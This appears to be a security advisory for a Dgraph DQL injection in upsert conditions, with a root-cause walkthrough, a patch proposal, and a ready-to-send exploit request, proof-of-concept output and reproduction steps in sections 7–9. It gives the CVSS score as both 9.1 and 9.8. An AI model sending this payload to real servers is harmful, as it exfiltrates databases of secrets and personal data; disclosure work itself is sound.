CVE-2026-41327: Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in Upsert Condition Field

1. Executive Summary

A vulnerability has been found in Dgraph that gives an unauthenticated attacker full read access to every piece of data in the database. This affects Dgraph's default configuration where ACL is not enabled.

The attack is a single HTTP POST to /mutate?commitNow=true containing a crafted cond field in an upsert mutation. The cond value is concatenated directly into a DQL query string via strings.Builder.WriteString after only a cosmetic strings.Replace transformation. No escaping, parameterization, or structural validation is applied. An attacker injects an additional DQL query block into the cond string, which the DQL parser accepts as a syntactically valid named query block. The injected query executes server-side and its results are returned in the HTTP response.

There are no credentials involved. When ACL is disabled (the default), the /mutate endpoint requires no authentication. The authorizeQuery and authorizeMutation functions both return nil immediately when AclSecretKey is not configured. Even when ACL is enabled, a user with mutation-only permission can inject read queries that bypass per-predicate ACL authorization, because the injected query block is not subject to the normal authorization flow.

POC clip:

https://github.com/user-attachments/assets/edf43615-b0d5-46cd-abd9-2cb9423790d2

2. CVSS Score

CVSS 3.1: 9.1 (Critical)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

| Metric              | Value     | Rationale                                                                          |
| Attack Vector       | Network   | HTTP POST to port 8080                                                             |
| Attack Complexity   | Low       | Single request, no special conditions beyond default config                        |
| Privileges Required | None      | No authentication when ACL is disabled (default)                                   |
| User Interaction    | None      | Fully automated                                                                    |
| Scope               | Unchanged | Stays within the Dgraph data layer                                                 |
| Confidentiality     | High      | Full database exfiltration: all nodes, all predicates, all values                  |
| Integrity           | High      | The injection can also be used to manipulate upsert conditions, bypassing uniqueness constraints and conditional mutation logic |
| Availability        | None      | No denial of service                                                               |

3. Vulnerability Summary

| Field     | Value                                                                                      |
| Title     | Pre-Auth DQL Injection via Unsanitized Cond Field in Upsert Mutations                      |
| Type      | Injection                                                                                  |
| CWE       | CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)                  |
| CVSS      | 9.8                                                                                        |

4. Target Information

| Field                | Value                                                                                          |
| Project              | Dgraph                                                                                         |
| Repository           | https://github.com/dgraph-io/dgraph                                                           |
| Tested version       | v25.3.0                                                                                        |
| HTTP handler         | `dgraph/cmd/alpha/http.go` line 345 (`mutationHandler`)                                       |
| Cond extraction      | `dgraph/cmd/alpha/http.go` line 413 (`strconv.Unquote`)                                       |
| Cond passthrough     | `edgraph/server.go` line 2011 (`ParseMutationObject`, copies `mu.Cond` verbatim)              |
| Injection sink       | `edgraph/server.go` line 750 (`upsertQB.WriteString(cond)`)                                   |
| Only transformation  | `edgraph/server.go` line 730 (`strings.Replace(gmu.Cond, "@if", "@filter", 1)`)               |
| Auth bypass (query)  | `edgraph/access.go` line 958 (`authorizeQuery` returns nil when `AclSecretKey == nil`)         |
| Auth bypass (mutate) | `edgraph/access.go` line 788 (`authorizeMutation` returns nil when `AclSecretKey == nil`)      |
| Response exfiltration| `dgraph/cmd/alpha/http.go` line 498 (`mp["queries"] = json.RawMessage(resp.Json)`)            |
| HTTP port            | 8080 (default)                                                                                 |
| Prerequisite         | None. Default configuration. ACL disabled is the default.                                      |

5. Test Environment

| Component            | Version / Details                                               |
| Host OS              | macOS (darwin 25.3.0)                                           |
| Dgraph               | v25.3.0 via `dgraph/dgraph:latest` Docker image                |
| Docker Compose       | 1 Zero + 1 Alpha, default config, `--security whitelist=0.0.0.0/0` |
| Python               | 3.x with `requests`                                            |
| Network              | localhost (127.0.0.1)                                           |

6. Vulnerability Detail

Location: edgraph/server.go lines 714-757 (buildUpsertQuery) CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)

The /mutate endpoint accepts JSON bodies containing a mutations array. Each mutation can include a cond field, intended for conditional upserts with syntax like @if(eq(name, "Alice")). This condition is supposed to be spliced into the DQL query as a @filter clause on a dummy var(func: uid(0)) block.

The handler at http.go:413 extracts the cond value via strconv.Unquote, which interprets \n as actual newlines but performs no sanitization:

mu.Cond, err = strconv.Unquote(string(condText.bs))

ParseMutationObject at server.go:2011 copies it verbatim:

res := &dql.Mutation{Cond: mu.Cond}

buildUpsertQuery at server.go:730 applies one cosmetic replacement then concatenates the raw string directly into the DQL query:

cond := strings.Replace(gmu.Cond, "@if", "@filter", 1)
// ...
x.Check2(upsertQB.WriteString(cond))

There is no escaping, no parameterization, no structural validation, and no character allowlist between the HTTP input and the query string concatenation.

An attacker crafts a cond value that closes the @filter(...) clause and opens an entirely new named query block:

@if(eq(name, "nonexistent"))
  leak(func: has(dgraph.type)) { uid name email secret }

After buildUpsertQuery processes this, the resulting DQL is:

{
  q(func: uid(0x1)) { uid }
  __dgraph_upsertcheck_0__ as var(func: uid(0)) @filter(eq(name, "nonexistent"))
  leak(func: has(dgraph.type)) { uid name email secret }
}

The DQL parser (dql.ParseWithNeedVars) accepts multiple query blocks within a single {} container. It parses leak(...) as a legitimate named query. The validateResult function at parser.go:740 only checks for duplicate aliases and explicitly skips var queries. The injected query uses a unique alias, so validation passes.

All three queries execute. The results of the injected leak block are serialized to JSON and returned to the attacker at http.go:498:

mp["queries"] = json.RawMessage(resp.Json)

The @if condition evaluates to false ("nonexistent" matches nothing), so the set mutation never actually writes data. The attack is a pure read disguised as a mutation. No data is modified.

7. Full Chain Explanation

The attacker has no Dgraph credentials and no prior access to the server.

Step 1. The attacker sends one HTTP request:

POST /mutate?commitNow=true HTTP/1.1
Host: TARGET:8080
Content-Type: application/json

{
  "query": "{ q(func: uid(0x1)) { uid } }",
  "mutations": [{
    "set": [{"uid": "0x1", "dgraph.type": "Dummy"}],
    "cond": "@if(eq(name, \"nonexistent\"))\n  leak(func: has(dgraph.type)) { uid dgraph.type name email secret aws_access_key_id aws_secret_access_key gcp_service_account_key }"
  }]
}

No X-Dgraph-AccessToken header. No X-Dgraph-AuthToken header. The /mutate endpoint has no authentication wrapper in default configuration.

Step 2. mutationHandler at http.go:345 calls readRequest to get the body, then extractMutation which calls strconv.Unquote on the cond field. The \n becomes a real newline. The result is stored in api.Mutation.Cond.

Step 3. The request enters edgraph.Server.QueryNoGrpc at http.go:471, which calls doQuery -> parseRequest -> ParseMutationObject. The Cond is copied verbatim to dql.Mutation.Cond at server.go:2011.

Step 4. buildUpsertQuery at server.go:714 processes the condition. The only transformation is strings.Replace(gmu.Cond, "@if", "@filter", 1) at line 730. The full string, including the injected leak(...) block, is written into the query builder at line 750.

Step 5. dql.ParseWithNeedVars parses the constructed DQL string. It encounters three query blocks: q, the upsert check var, and the injected leak. All three are accepted as valid DQL.

Step 6. authorizeQuery at access.go:958 returns nil immediately because AclSecretKey == nil (ACL not configured). No predicate-level authorization is performed.

Step 7. processQuery executes all three query blocks. The leak block traverses every node with a dgraph.type predicate and returns all requested fields.

Step 8. The response is returned to the attacker at http.go:498. The data.queries.leak array contains every matching node with all their predicates, including secrets, credentials, and PII.

8. Proof of Concept

Files

| File                    | Purpose                                                    |
| report.md               | This vulnerability report                                  |
| poc.py                  | Exploit: sends the injection and prints leaked data        |
| docker-compose.yml      | Spins up a Dgraph cluster (1 Zero + 1 Alpha, default config) |
| DGraphPreAuthDQL.mp4    | Screen recording of the full attack from start to exfiltration |

POC files zip: LEAD_001_DQL.zip

poc.py

The exploit sends a single POST to /mutate?commitNow=true with the crafted cond field. It parses the response and prints all exfiltrated records, highlighting secrets, AWS credentials, and GCP service account keys.

Tested Output

$ python3 poc.py
[*] Sending crafted upsert mutation with DQL injection in cond field …
[*] HTTP 200
[+] SUCCESS — Injected query returned 5 node(s):

  [User] uid=0x1
    name: Alice Admin
    email: [email protected]
    secret: SSN-123-45-6789
    role: admin

  [User] uid=0x2
    name: Bob User
    email: [email protected]
    secret: SSN-987-65-4321
    role: user

  [User] uid=0x3
    name: Eve Secret
    email: [email protected]
    secret: API_KEY_sk-live-abc123xyz
    role: superadmin

  [CloudCredential] uid=0x4
    name: prod-aws-credentials
    AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE
    AWS_SECRET_ACCESS_KEY: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

  [CloudCredential] uid=0x5
    name: gcp-bigquery-service-account
    GCP_SERVICE_ACCOUNT_KEY: {"type":"service_account","project_id":"prod-analytics","private_key":"-----BEGI…

[+] CRITICAL — Exfiltrated 5 record(s) containing secrets via pre-auth DQL injection
    → 1 AWS credential(s) — attacker can access AWS account
    → 1 GCP service account key(s) — attacker can access GCP project

9. Steps to Reproduce

Prerequisites

• Python 3 with requests (pip install requests)
• Docker and Docker Compose

Step 1: Start Dgraph

cd report
docker compose -f docker-compose-test.yml up -d

Wait for health:

curl http://localhost:8080/health

Step 2: Seed test data

curl -s -X POST http://localhost:8080/alter -d '
name: string @index(exact) .
email: string @index(exact) .
secret: string .
role: string .
aws_access_key_id: string .
aws_secret_access_key: string .
gcp_service_account_key: string .
'

curl -s -X POST 'http://localhost:8080/mutate?commitNow=true' \
  -H 'Content-Type: application/json' \
  -d '{"set":[
    {"dgraph.type":"User","name":"Alice Admin","email":"[email protected]","secret":"SSN-123-45-6789","role":"admin"},
    {"dgraph.type":"User","name":"Bob User","email":"[email protected]","secret":"SSN-987-65-4321","role":"user"},
    {"dgraph.type":"User","name":"Eve Secret","email":"[email protected]","secret":"API_KEY_sk-live-abc123xyz","role":"superadmin"},
    {"dgraph.type":"CloudCredential","name":"prod-aws-credentials","aws_access_key_id":"AKIAIOSFODNN7EXAMPLE","aws_secret_access_key":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"},
    {"dgraph.type":"CloudCredential","name":"gcp-bigquery-service-account","gcp_service_account_key":"{\"type\":\"service_account\",\"project_id\":\"prod-analytics\",\"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\nEXAMPLEKEY\\n-----END RSA PRIVATE KEY-----\",\"client_email\":\"[email protected]\"}"}
  ]}'

Step 3: Run the exploit

cd LEAD_001_DQL
python3 poc.py

What to verify

1. HTTP POST returns 200 (endpoint is reachable without auth)
2. Response contains data.queries.leak with an array of nodes
3. The nodes include fields the attacker never queried through legitimate means (secrets, AWS keys, GCP keys)
4. No data was modified in the database (the @if condition prevents the set from executing)

10. Mitigations and Patch

Location: edgraph/server.go, buildUpsertQuery (line 714)

Instead of concatenating the raw cond string into the DQL query, buildUpsertQuery should parse the cond value with the DQL lexer and construct the @filter as a parsed AST subtree. This eliminates the injection surface entirely because the filter is built programmatically rather than spliced in as a raw string. The existing strings.Replace(gmu.Cond, "@if", "@filter", 1) at line 730 is a semantic transformation, not a security control, and should not be relied upon for sanitization.